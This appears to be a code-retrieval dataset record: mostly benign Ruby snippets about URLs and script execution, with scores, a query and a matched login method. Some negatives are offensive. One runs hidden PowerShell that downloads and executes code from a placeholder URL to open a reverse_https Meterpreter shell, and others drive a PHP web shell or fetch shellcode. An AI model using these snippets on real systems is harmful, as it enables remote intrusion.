"def url(argv)\n require 'uri'\n\n arg = argv[8..-1]\n arg.gsub!(\"#\",\"%23\")\n pdf, page = arg.split(\"%23\")\n\n # check if this is my page, or someone else's\n if My_domains.index( URI.parse(cururl).host )\n fname = \"#{PDF_path}/#{pdf}.pdf\"\n else\n fname = try { get_pdf_from_refpage }\n fail \"Not able to automatically download PDF\" unless fname\n end\n\n if File.exists?(fname)\n skim = Appscript.app('skim')\n dd = skim.open(fname)\n dd.go({:to => dd.pages.get[page.to_i-1]}) unless page == nil\n skim.activate\n else\n growl(\"File not found\", \"Cannot find PDF #{fname}\")\n end\nend",
"def execute_script(script, *args)\n driver.execute_script(script, *args)\n end",
"def run\n puts url\n html = Games::FetchHtml.run(url: url)\n games = parse_html(html)\n return \"No data for #{date} #{sport}\" if games.nil?\n save_wunder_data(games)\n end",
"def run_script(scriptname, params)\n body = request(:post, \"script/#{scriptname}/run\", 'text/plain', params)\n JSON.parse(body)['result']\n end",
"def run\n super\n\n entity_name = _get_entity_name\n opt_create_entities = _get_option(\"create_entities\")\n \n # Make sure the key is set\n api_key = _get_task_config(\"publicwww_api_key\")\n\n # special case google analytics, as we can find interesting things by not \n # sending the last bit of the key\n if entity_name =~ /^ua-.*$/i\n entity_name = entity_name.split(\"-\")[0..-2].join(\"-\")\n _log \"Dropping trailing part of google user agent: #{entity_name}\"\n end\n\n\n # Craft the UniqueToken search URL to export\n query_url = \"https://publicwww.com/websites/%22#{entity_name}-%22/?export=urls&key=#{api_key}\"\n \n # Download the xport\n download = http_get_body(query_url)\n \n # read the file results\n download.split(\"\\n\").each do |found_url|\n _create_entity(\"Uri\" , \"name\" => found_url) if opt_create_entities\n end\n\n # store links as an extended detail\n _set_entity_detail(\"public_www_results\", { entity_name => download.split(\"\\n\")[1..30] } )\n\n end",
"def goto(url)\r\n #set_defaults()\r\n get_window_number()\r\n set_browser_document()\r\n # Load the given url.\r\n $jssh_socket.send(\"#{BROWSER_VAR}.loadURI(\\\"#{url}\\\");\\n\" , 0)\r\n read_socket()\r\n\r\n wait()\r\n end",
"def download_bandcamp_url(folder_name, url)\n \"cd audio/#{folder_name} && ruby ../../scripts/bandcamp_downloader/bandcamp_downloader.rb #{url}\"\n end",
"def download_youtube_url(folder_name, url)\n \"ruby ./scripts/youtube-audio-downloader/youtube-audio.rb url #{url} ./audio/#{folder_name}\"\n end",
"def loadfile _file_url, _append\n send_cmd(\"loadfile #{_file_url} #{_append}\")\n end",
"def run(robot, script)\n\nend",
"def run\n make_request(@path)\n end",
"def execute_script(*args)\n raises_error { __getobj__.execute_script(*args) }\n end",
"def execute(url_chunk, additional_options = {})\n request = ::Typhoeus::Request.new(\n Addressable::URI.escape(\"#{service_url}/#{url_chunk}\"),\n options[:typhoeus].merge({ method: :get\n })\n .merge(additional_options)\n )\n request.run\n response = request.response\n validate_response(response)\n response\n end",
"def execute\n # Generate the shell script that will run WEACEExecute.\n File.open(\"#{@ProviderEnv[:Shell][:InternalDirectory]}/Test_Broadcast.sh\", 'w') do |oFile|\n oFile << \"\\#!/bin/sh\n#{@ProviderEnv[:WEACEExecuteCmd]} MasterServer --user Scripts_Tester --process Test_Broadcast -- --comment $1\n\"\n end\n\n return nil\n end",
"def openurl(url)\n runcmd 'openurl', url\n end",
"def run_result; result['run_cyber_dojo_sh']; end",
"def run_host(ip)\n\t\t# If URLFILE is set empty, obviously the user made a silly mistake\n\t\tif datastore['URLFILE'].empty?\n\t\t\tprint_error(\"Please specify a URLFILE\")\n\t\t\treturn\n\t\tend\n\n\t\t# Initialize the actual URLFILE path\n\t\tif datastore['URLFILE'] == \"sap_icm_paths.txt\"\n\t\t\turl_file = \"#{Msf::Config.data_directory}/wordlists/#{datastore['URLFILE']}\"\n\t\telse\n\t\t\t# Not the default sap_icm_paths file\n\t\t\turl_file = datastore['URLFILE']\n\t\tend\n\n\t\t# If URLFILE path doesn't exist, no point to continue the rest of the script\n\t\tif not File.exists?(url_file)\n\t\t\tprint_error(\"Required URL list #{url_file} was not found\")\n\t\t\treturn\n\t\tend\n\n\t\tres = send_request_cgi(\n\t\t\t{\n\t\t\t\t'uri' => \"/\" + Rex::Text.rand_text_alpha(12),\n\t\t\t\t'method' => 'GET',\n\t\t\t\t'ctype' => 'text/plain',\n\t\t\t}, 20)\n\n\t\tif res\n\t\t\tprint_status(\"Note: Please note these URLs may or may not be of interest based on server configuration\")\n\t\t\t@info = []\n\t\t\tif not res.headers['Server'].nil?\n\t\t\t\t@info << res.headers['Server']\n\t\t\t\tprint_status(\"#{rhost}:#{rport} Server responded with the following Server Header: #{@info[0]}\")\n\t\t\telse\n\t\t\t\tprint_status(\"#{rhost}:#{rport} Server responded with a blank or missing Server Header\")\n\t\t\tend\n\n\t\t\tif (res.body and /class=\"note\">(.*)code:(.*)</i.match(res.body) )\n\t\t\t\tprint_error(\"#{rhost}:#{rport} SAP ICM error message: #{$2}\")\n\t\t\tend\n\n\t\t\t# Load URLs\n\t\t\turls_to_check = []\n\t\t\tf = File.open(url_file)\n\t\t\tf.each_line do |line|\n\t\t\t\turls_to_check.push line\n\t\t\tend\n\n\t\t\tprint_status(\"#{rhost}:#{rport} Beginning URL check\")\n\t\t\turls_to_check.each do |url|\n\t\t\t\tcheck_url(url.strip)\n\t\t\tend\n\t\telse\n\t\t\tprint_error(\"#{rhost}:#{rport} No response received\")\n\t\tend\n\n\tend",
"def background_visit(url, opts = {})\r\n require 'httpclient'\r\n begin\r\n client = HTTPClient.new\r\n if url && url =~ /^http/\r\n http_response = client.get(url).body\r\n else\r\n base_url = $TESTWISE_PROJECT_BASE_URL || $TESTWISE_PROJECT_BASE_URL || $BASE_URL\r\n http_response = client.get(\"#{base_url}#{url}\").body\r\n end\r\n\t\t\t\t\r\n\t\t\t\thttp_response = http_response.content if http_response.respond_to?(\"content\")\r\n rescue => e\r\n raise e\r\n end\r\n end",
"def action(type)\n ENV[\"runner_path\"] = $runner_path\n\n dirname = File.dirname(File.expand_path(__FILE__))\n script = File.join(dirname, \"action.py\")\n\n puts \"Calling python script: #{script} #{type}\"\n exec(\"python\", script, type, *$items)\nend",
"def agi_url\r\n script = @params['agi_network_script']\r\n return \"/#{script}\"\r\n\tend",
"def usage\n puts \"$ #{__FILE__} SRC_PATH TARGET_PATH THREAD_COUNT\"\n puts \"$ #{__FILE__} user.url . 8\"\n exit\nend",
"def script(script_file)\n load script_file\n\n self\n end",
"def exec; end",
"def exec; end",
"def exec_request\n @urls.map { |url| fetch(url) }\n end",
"def execute_file( filename )\n text = File.read(filename)\n execute(text)\n end",
"def ab_command\n \"ab -r -e #{export_file_name} -n #{requests} -c #{concurrency} #{url}\"\n end",
"def originate url, args={}, &block\n extension = args.delete(:extension)\n dialplan = args.delete(:dialplan)\n context = args.delete(:context)\n\n vars = args.map {|k,v| \"#{k}=#{v}\"}.join(\",\")\n\n arg_string = \"{#{vars}}\" + \n [url, extension, dialplan, context].compact.join(\" \")\n command \"originate\", arg_string, &block\n end",
"def load_library\n\t\t#wget some url\n\tend",
"def open_url(code)\n url = URL+code\n puts url\n open(url).read\n end",
"def help\n puts \"usage: #{@script} --site [URL]\"\n puts\n puts \" --site the site name to save the site\"\nend",
"def get(url); end",
"def browse url\n @@headless = Headless.new\n @@headless.start\n @@browser = Watir::Browser.start url\n end",
"def execute_command\n begin\n if @cgi.has_key?('type') then\n doc = REXML::Document.new\n command = doc.add_element 'COMMAND'\n @cgi.params.each_pair { |key,value| command.attributes[key]=value}\n xmlCommand = doc.to_s\n socket = TCPSocket.new(@host,@port)\n socket.puts xmlCommand \n xmlResult = socket.gets.chop\n docResult = REXML::Document.new xmlResult\n end\n rescue\n puts 'Probleem bij uitvoeren commando'\n exit\n end\n end",
"def execute_request(method, url, opts = {})\n server.execute_request(\n method,\n [name, url.sub(/^\\//, '')].join('/'),\n opts.merge(username: username, password: password))\n end",
"def run\n html = URI.open(URL).read\n document = Nokogiri::HTML(html)\n storage = Storage.new(Procedure)\n \n Procedure.transaction do\n BLOCKS.each do |block|\n procedures = block.new(document).run\n storage.save procedures\n end\n end\n end",
"def script(name, param = nil)\n self.script_request.new(self.seed, name, param)\n end",
"def execute_script(file_name, conn, keys, argv)\n conn.evalsha(\n script_sha(conn, file_name),\n keys,\n argv,\n )\n end",
"def exec(query)\n data = make_args(query) \n\n begin\n result, = Net::HTTP.new(@host).post(@path, data)\n @report = result.body\n output = parse_report(@report)\n end\n\n return output\n end",
"def run_script\n %[timeout $((PBS_WALLTIME-300)) \"#{script}\"]\n end",
"def run(url, headers, req_type, data = nil, sql = false)\n begin\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n if uri.port.to_s == \"443\"\n http.use_ssl = true\n end\n http.read_timeout = @timeout\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n requester = nil\n parsed_data = data\n\n if !sql \n parsed_data = data.to_json\n end\n\n if req_type == \"post\"\n requester = Net::HTTP::Post.new(uri.request_uri, initheader = headers)\n requester.body = parsed_data\n elsif req_type == \"put\"\n requester = Net::HTTP::Put.new(uri.request_uri, initheader = headers)\n requester.body = parsed_data\n elsif req_type == \"get\"\n requester = Net::HTTP::Get.new(uri.request_uri, initheader = headers)\n elsif req_type == \"delete\"\n requester = Net::HTTP::Delete.new(uri.request_uri, initheader = headers)\n end\n http.request(requester)\n rescue Timeout::Error, Errno::EINVAL,\n Errno::ECONNRESET, EOFError, Net::HTTPBadResponse,\n Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n raise e\n end\n end",
"def perform_execute_request(data = {})\n execute_recipe(version, data)\n end",
"def load_script(file); end",
"def execute\n options = {\n method: :post,\n timeout: 6000,\n open_timeout: 6000,\n accept: :schema\n }\n options.merge!(url: @url, payload: @html)\n begin\n res = RestClient::Request.execute(options).to_str\n @response = JSON.parse(res)\n rescue => e\n puts \"some problems with #{@url}\"\n puts e\n nil\n end\n end",
"def execution_url\n requires :links\n link = links.find { |l| l['rel'] == 'capability' }\n link['href'] rescue nil\n end",
"def run\n @uri = urlize()\n validate_content validate_url( @uri, 'rt' ).read\n end",
"def open_url(url)\n if RbConfig::CONFIG['host_os'] =~ /darwin/\n system %(open \"#{url}\")\n elsif RbConfig::CONFIG['host_os'] =~ /linux|bsd/\n system %(xdg-open \"#{url}\")\n else\n puts 'Not Supported OS!'.red\n end\n end",
"def execute(url_chunk, options = {})\n options = (@options[:request] || {}).merge(options)\n Request.new(self, url_chunk, options).execute\n end",
"def job(url)\n server(url).job(URI(url).path)\n end",
"def do_get url\n\t\turi = URI.parse(url)\n\t\tNet::HTTP.get_response(uri)\n\tend",
"def execute_script filename\n # script_path = '~/.config/cetus/scripts'\n script_path = File.join(CONFIG_PATH, 'cetus', 'scripts')\n script = File.expand_path(File.join(script_path, filename))\n unless File.exist? script\n perror \"Unable to find #{filename}: #{script}\"\n return\n end\n\n scripts script\nend",
"def execute_script(script, *args)\n args.map! { |item| item.class == Locatine::Element ? item.answer : item }\n response = api_request('/execute/sync', 'Post',\n { script: script, args: args }.to_json).body\n value = JSON.parse(response, max_nesting: false)['value']\n error_present = (value.class == Hash) && value['error']\n raise_script_error(script, args, value) if error_present\n\n value\n end",
"def simple_shell(id, url)\n print_line(\"\")\n prompt = \"(CommanD)> \"\n http = EasyCurb.new\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit|^quit/i\n print_line(\"\")\n print_error(\"OK, exiting pseudo shell....\")\n print_caution(\"In case you were wondering, to connect via Curl: \")\n case id\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n print_error(\"Returning to Main Menu...\")\n break\n else\n case id\n when 1\n link = url + \"?foo=#{cmd.space2plus}\"\n when 2\n code = Base64.encode64(cmd)\n link = url + \"?foo=#{code.chomp}\"\n when 3\n code = Base64.encode64(cmd)\n $config['HTTP']['HTTP_HEADERS_ADD']=true\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n when 4\n code = Base64.encode64(cmd)\n $config['HTTP']['HTTP_HEADERS_ADD']=true\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n end\n rez = http.get(link)\n if rez[0] =~ /___(.+)/m\n res=$1.chomp\n if res != ''\n cmd_results=rez[0].split(\"__\")[1]\n print_line(\"#{cmd_results.sub('_', '').chomp}\") unless cmd_results.nil? or cmd_results == '_'\n print_line(\"\") if cmd_results.nil? or cmd_results == '_'\n print_error(\"No Results Found in Output!\") if cmd_results.nil? or cmd_results == '_'\n print_line(\"\")\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n $config['HTTP']['HTTP_HEADERS_ADD']=false\n end\n end\n end",
"def url_command(template:, path:, count: nil, parameters: {}, data: nil)\n query = parameters.map { |k, v| encode(k) + \"=\" + encode(v) }.join(\"&\")\n query = (path =~ /\\?/ ? \"&\" : \"?\") + query unless query.empty?\n \"#{data or @cat} | #{@run} url template #{shell_quoted(template)} prefix #{shell_quoted(path)} suffix #{shell_quoted(query)}#{\" count #{count}\" if count}\"\n end",
"def run_script(script)\n begin\n instance_eval(script)\n rescue\n @result.add_failure $!\n end\n end",
"def fetch(url) \n puts \"Fetching url #{url}\";\n str = `curl -silent \"#{url}\"`\n return str\nend",
"def setup\n url = \"\"\n start = \"\"\n final = \"\"\n execute = false\n\n puts \"Please enter base URL format.\"\n url = gets.chomp\n puts \"Start number?\"\n start = gets.chomp\n puts \"Final number?\"\n final = gets.chomp\n puts confirmation(url, start, final)\n execute = true if gets.chomp == \"\"\n if execute == false\n setup\n elsif execute == true\n # run\n end\n end",
"def command_exec(session,lhost,lport)\n print_status(\"Running Invoke-Shellcode, Please wait 4-7 seconds.\")\n r=''\n begin\n r = session.sys.process.execute(\"C:\\\\WINDOWS\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -Command iex(New-Object Net.WebClient).DownloadString('http://URLHERE');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost #{lhost} -Lport #{lport} -Force\", nil, {'Hidden' => true, 'Channelized' => true})\n r.channel.close\n r.close\n rescue ::Exception => e\n print_error(\"Error Running Invoke-Shellcode, Sounds like a problem between the keyboard and the monitor.....: #{e.class} #{e}\")\n end\nend",
"def run_request(method, url, body, headers); end",
"def bind(url); end",
"def execute_command(cmd, options = {})\n active_window.do_script(cmd, options)\n end",
"def execute_command(cmd, options = {})\n active_window.do_script(cmd, options)\n end",
"def run(url, run_context)\n results = []\n\n unless (url =~ URI::regexp).nil?\n update_resource url\n end\n \n @creation_commands.each do |cmd|\n begin\n cmd.call(results)\n rescue \n puts \"Whoops! #{$!}\" \n end\n end\n\n return results\n end",
"def url\n \"#{JabberAdmin.configuration.url.strip.chomp('/')}/#{@command}\"\n end",
"def ws_go args\n\t\tget_alert\n\t\turl = args[:url].should_not!(:be_nil).should_not!(:be_empty)\n\t\turl = (url =~ /(^http:)|(^file:)/) ? url : \"http://#{url}\"\n\t\t\n\t\[email protected] url\n\t\twait_for_load\n\t\treturn \"\"\n\tend",
"def execute(command)\n begin\n puts \"* Executing command '#{command}' for the Github API\"\n Timeout.timeout(35) do\n http = Net::HTTP.new(\"github.com\", 80)\n response, content = http.get(\"/api/v1/yaml/#{@user}/#{@repo}/#{command}\")\n content\n end\n rescue Exception => e\n puts \"[!] Error when connecting to Github API (Message: #{e.message})\"\n nil\n end\n end",
"def run_cmd(cmd)\n req = JsonRequest.new(\"exec\", cmd.to_hash)\n return req.exec(agent_uri)\n end",
"def script=(_arg0); end",
"def scdisplay(id)\n\thttp = Net::HTTP.new(\"shell-storm.org\", 80)\n\treq = Net::HTTP::Get.new(\"/shellcode/files/shellcode-#{id}.php\", {'User-Agent' => 'Shell-Storm Ruby API - Display'})\n\tres = http.request(req)\n\tcase res\n\twhen Net::HTTPSuccess then\n\t\tputs \"#{HC}#{FGRN}[#{FWHT}*#{FGRN}] Displaying#{FWHT}: http://shell-storm.org/shellcode/files/shellcode-#{id}.php#{FCYN}\"\n\t\tputs res.body.split(\"\\n\")[7..-13].join(\"\\n\").gsub('"', '\"').gsub('>', '>').gsub('<', '<').gsub('&', '&')\n\t\tputs \"#{RS}\"\n\telse\n\t\tputs \"#{HC}#{FRED}Seems we made a bad request somehow#{FWHT}....#{RS}\"\n\t\tputs res.value\n\tend\nend",
"def run_script(path, script, *cli_params)\n on primary :backend do |host|\n within path do\n unless test \" [ -e #{script} ] \"\n error I18n.t('resource.not_exists_on_host', resource: script, host: host.hostname, scope: :dkdeploy)\n next\n end\n\n with fetch(:typo3_environment_cli) do\n execute :php, script, *cli_params\n end\n end\n end\n end"
] | [
"0.6602629",
"0.64787155",
"0.6315788",
"0.6217141",
"0.62066674",
"0.62066674",
"0.6182121",
"0.6182121",
"0.608962",
"0.5983742",
"0.596497",
"0.58386564",
"0.5798183",
"0.5786304",
"0.5779729",
"0.5773019",
"0.5756665",
"0.5747272",
"0.5733928",
"0.56829095",
"0.5661902",
"0.5660163",
"0.56488764",
"0.5619991",
"0.56085443",
"0.5608154",
"0.5604742",
"0.5585553",
"0.558463",
"0.55177236",
"0.5516443",
"0.5512335",
"0.5506288",
"0.54863715",
"0.54844445",
"0.54620856",
"0.544418",
"0.5432006",
"0.54288024",
"0.5412065",
"0.5410967",
"0.5410319",
"0.54052",
"0.5394649",
"0.53935814",
"0.5393197",
"0.5391491",
"0.5389234",
"0.53563476",
"0.5352827",
"0.53525585",
"0.53515667",
"0.53501445",
"0.5335797",
"0.5335797",
"0.5325559",
"0.5321879",
"0.532156",
"0.53141445",
"0.53111356",
"0.5308242",
"0.5308118",
"0.5307509",
"0.5306852",
"0.5306413",
"0.52716315",
"0.52535874",
"0.52524614",
"0.5250882",
"0.52480936",
"0.52473706",
"0.5245469",
"0.5244496",
"0.5238817",
"0.5235898",
"0.52309173",
"0.5223356",
"0.52140653",
"0.5200197",
"0.5195327",
"0.5194141",
"0.519396",
"0.5187765",
"0.5166804",
"0.5163044",
"0.5160553",
"0.5160278",
"0.51595116",
"0.5155654",
"0.51550883",
"0.51539105",
"0.5149491",
"0.5149491",
"0.5146173",
"0.51421857",
"0.51374316",
"0.5131366",
"0.5124334",
"0.5123136",
"0.5120389",
"0.5110964"
] | 0.0 | -1 |
execute tthis script by using the url " | def random_login
if random_login_internal
redirect_to( :controller => "users", :action => "info" )
else
redirect_to( :controller => "users", :action => "index" )
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def exec loc, script, params = {}\n params.merge! :script => script, :loc => loc\n http :post, \"/exec\", params\n end",
"def execute(url_chunk, additional_options = {})\n request = ::Typhoeus::Request.new(\n Addressable::URI.escape(\"#{service_url}/#{url_chunk}\"),\n options[:typhoeus].merge({ method: :get\n })\n .merge(additional_options)\n )\n request.run\n response = request.response\n validate_response(response)\n response\n end",
"def script; end",
"def script; end",
"def execute_script(script, *args); end",
"def execute_call_plain(url)\n res = Net::HTTP.get_response(URI.parse(url))\n case res\n when Net::HTTPRedirection\n # Return the new URL\n res['location']\n when Net::HTTPSuccess\n res.body\n else\n raise TransportError.new(res)\n end\n end",
"def script\n # escape command parameter\n params[:command] = params[:command].gsub('..', '').gsub(';', '');\n\n ret = @uri.script(params[:command].split(',')[0], params[:command].split(',')[1])\n render plain: ret[:message], status: ret[:status]\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def perform(url)\n scrape_url(url)\n end",
"def cmd\n c = [\"open #{page_url}\"]\n c << argument_string(unknown_options) unless unknown_options.empty?\n c.join(\"\\n\")\n end",
"def execute script\n native.execute_script script\n end",
"def run_script\n Script.new(instructions, storage, self).execute\n end",
"def run(robot, script)\n\nend",
"def run(iContent)\n lError = launchURL(iContent)\n if (lError != nil)\n log_err lError\n end\n end",
"def run\n\t\treq = Net::HTTP::Put.new(uri.path)\n\t\treq.body = query_string\n\t\tres = Net::HTTP.start(url.host, url.port) { |http|\n\t\t http.request(req)\n\t\t}\n\t\tres.body\n\tend",
"def run_result; result['run_cyber_dojo_sh']; end",
"def execute_script(file)\n abspath = ::File.expand_path(file,@pwd.full_path)\n execute(Rush::File.new(abspath).contents)\n end",
"def run\n super\n\n entity_name = _get_entity_name\n opt_create_entities = _get_option(\"create_entities\")\n \n # Make sure the key is set\n api_key = _get_task_config(\"publicwww_api_key\")\n\n # special case google analytics, as we can find interesting things by not \n # sending the last bit of the key\n if entity_name =~ /^ua-.*$/i\n entity_name = entity_name.split(\"-\")[0..-2].join(\"-\")\n _log \"Dropping trailing part of google user agent: #{entity_name}\"\n end\n\n\n # Craft the UniqueToken search URL to export\n query_url = \"https://publicwww.com/websites/%22#{entity_name}-%22/?export=urls&key=#{api_key}\"\n \n # Download the xport\n download = http_get_body(query_url)\n \n # read the file results\n download.split(\"\\n\").each do |found_url|\n _create_entity(\"Uri\" , \"name\" => found_url) if opt_create_entities\n end\n\n # store links as an extended detail\n _set_entity_detail(\"public_www_results\", { entity_name => download.split(\"\\n\")[1..30] } )\n\n end",
"def background_visit(url, opts = {})\r\n require 'httpclient'\r\n begin\r\n client = HTTPClient.new\r\n if url && url =~ /^http/\r\n http_response = client.get(url).body\r\n else\r\n base_url = $TESTWISE_PROJECT_BASE_URL || $TESTWISE_PROJECT_BASE_URL || $BASE_URL\r\n http_response = client.get(\"#{base_url}#{url}\").body\r\n end\r\n\t\t\t\t\r\n\t\t\t\thttp_response = http_response.content if http_response.respond_to?(\"content\")\r\n rescue => e\r\n raise e\r\n end\r\n end",
"def usage\n puts \"$ #{__FILE__} SRC_PATH TARGET_PATH THREAD_COUNT\"\n puts \"$ #{__FILE__} user.url . 8\"\n exit\nend",
"def get_page(target_url)\n response = @version.domain.request(\n 'GET',\n target_url\n )\n TranscriptPage.new(@version, response, @solution)\n end",
"def execute_async_script(script, *args); end",
"def execute_script filename\n # script_path = '~/.config/cetus/scripts'\n script_path = File.join(CONFIG_PATH, 'cetus', 'scripts')\n script = File.expand_path(File.join(script_path, filename))\n unless File.exist? script\n perror \"Unable to find #{filename}: #{script}\"\n return\n end\n\n scripts script\nend",
"def exec_script(script_text)\n response = api_post_request('/scriptText', {'script' => script_text}, true)\n response.body\n end",
"def script_load(script); end",
"def launch(url)\n Java::limelight.Context.instance.os.launch(url)\n end",
"def run_local_story(filename, options={})\n run File.join(File.dirname(__FILE__), filename), options\nend",
"def url_command(template:, path:, count: nil, parameters: {}, data: nil)\n query = parameters.map { |k, v| encode(k) + \"=\" + encode(v) }.join(\"&\")\n query = (path =~ /\\?/ ? \"&\" : \"?\") + query unless query.empty?\n \"#{data or @cat} | #{@run} url template #{shell_quoted(template)} prefix #{shell_quoted(path)} suffix #{shell_quoted(query)}#{\" count #{count}\" if count}\"\n end",
"def go_to(url)\n driver.get url\n end",
"def exec; end",
"def exec; end",
"def run_script(path, script, *cli_params)\n on primary :backend do |host|\n within path do\n unless test \" [ -e #{script} ] \"\n error I18n.t('resource.not_exists_on_host', resource: script, host: host.hostname, scope: :dkdeploy)\n next\n end\n\n with fetch(:typo3_environment_cli) do\n execute :php, script, *cli_params\n end\n end\n end\n end",
"def call_yt_url(url)\n result = HTTP.get(url)\n successful?(result) ? result : raise_error(result)\n end",
"def mturk_url\n MTurkUtils.get_task_url self\n end",
"def execute\n options = {\n method: :post,\n timeout: 6000,\n open_timeout: 6000,\n accept: :schema\n }\n options.merge!(url: @url, payload: @html)\n begin\n res = RestClient::Request.execute(options).to_str\n @response = JSON.parse(res)\n rescue => e\n puts \"some problems with #{@url}\"\n puts e\n nil\n end\n end",
"def run\n Tapyrus::ScriptInterpreter.eval(Tapyrus::Script.new, self.dup)\n end",
"def web\n Minimart::Commands::Web.new(options).execute!\n\n rescue Minimart::Error::BaseError => e\n Minimart::Error.handle_exception(e)\n end",
"def run_script\n %[timeout $((PBS_WALLTIME-300)) \"#{script}\"]\n end",
"def help\n puts \"usage: #{@script} --site [URL]\"\n puts\n puts \" --site the site name to save the site\"\nend",
"def cmd_on_trgt_exec(session,cmdexe,opt,verbose)\n\tr=''\n\tsession.response_timeout=120\n\tif verbose == 1\n\t\tbegin\n\t\t\tprint_status \"\\tRunning command #{cmdexe}\"\n\t\t\tr = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => true})\n\t\t\twhile(d = r.channel.read)\n\t\t\t\tprint_status(\"\\t#{d}\")\n\t\t\tend\n\t\t\tr.channel.close\n\t\t\tr.close\n\t\trescue ::Exception => e\n\t\t\tprint_status(\"Error Running Command #{cmdexe}: #{e.class} #{e}\")\n\t\tend\n\telse\n\t\tbegin\n\t\t\tprint_status \"\\trunning command #{cmdexe}\"\n\t\t\tr = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => false})\n\t\t\tr.close\n\t\trescue ::Exception => e\n\t\t\tprint_status(\"Error Running Command #{cmdexe}: #{e.class} #{e}\")\n\t\tend\n\tend\nend",
"def script=(_arg0); end",
"def browse(url)\n if RUBY_PLATFORM =~ /darwin/\n `open #{url}`\n elsif ENV['OS'] == 'Windows_NT' or\n RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw|wince/i\n `start \"\" \"#{url}\"`\n end\n end",
"def agi_url\r\n script = @params['agi_network_script']\r\n return \"/#{script}\"\r\n\tend",
"def run(url, headers, req_type, data = nil, sql = false)\n begin\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n if uri.port.to_s == \"443\"\n http.use_ssl = true\n end\n http.read_timeout = @timeout\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n requester = nil\n parsed_data = data\n\n if !sql \n parsed_data = data.to_json\n end\n\n if req_type == \"post\"\n requester = Net::HTTP::Post.new(uri.request_uri, initheader = headers)\n requester.body = parsed_data\n elsif req_type == \"put\"\n requester = Net::HTTP::Put.new(uri.request_uri, initheader = headers)\n requester.body = parsed_data\n elsif req_type == \"get\"\n requester = Net::HTTP::Get.new(uri.request_uri, initheader = headers)\n elsif req_type == \"delete\"\n requester = Net::HTTP::Delete.new(uri.request_uri, initheader = headers)\n end\n http.request(requester)\n rescue Timeout::Error, Errno::EINVAL,\n Errno::ECONNRESET, EOFError, Net::HTTPBadResponse,\n Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n raise e\n end\n end",
"def eval script\n # native function. this stub is for documenting only\n end",
"def blog\n system(\"open #{blog_url}\")\n end",
"def execute_script(filename)\n\tif File.exist?(filename) \n\t\t execute_query File.read(filename),\n\t\t\t{ :db_name => @properties[\"ml.content-db\"] }\t\t\t\n\t\t\tlogger.info \"Executed script #{filename} successfully\"\n\telse\n\t\tlogger.info \"#{filename} does not exist\"\t\n\tend\n end",
"def download_youtube_url(folder_name, url)\n \"ruby ./scripts/youtube-audio-downloader/youtube-audio.rb url #{url} ./audio/#{folder_name}\"\n end",
"def browse(url)\n if RUBY_PLATFORM =~ /darwin/\n `open #{url}`\n elsif RUBY_PLATFORM =~ /linux/\n `#{ENV['BROWSER']} #{url}`\n elsif ENV['OS'] == 'Windows_NT' or\n RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw|wince/i\n `start \"\" \"#{url}\"`\n end\n end",
"def execute(xml)\n\t\tAPIRequest.execute(url,xml.to_s)\n\tend",
"def openurl(url)\n runcmd 'openurl', url\n end",
"def script(script_file)\n load script_file\n\n self\n end",
"def exec(query)\n data = make_args(query) \n\n begin\n result, = Net::HTTP.new(@host).post(@path, data)\n @report = result.body\n output = parse_report(@report)\n end\n\n return output\n end",
"def execute\n # Generate the shell script that will run WEACEExecute.\n File.open(\"#{@ProviderEnv[:Shell][:InternalDirectory]}/Test_Broadcast.sh\", 'w') do |oFile|\n oFile << \"\\#!/bin/sh\n#{@ProviderEnv[:WEACEExecuteCmd]} MasterServer --user Scripts_Tester --process Test_Broadcast -- --comment $1\n\"\n end\n\n return nil\n end",
"def error_run_test_request\n error_response(\"http://www.webpagetest.org/runtest.php?k=#{KEY}&f=json&url=#{TEST_URL}&script=#{SCRIPT}\")\n end",
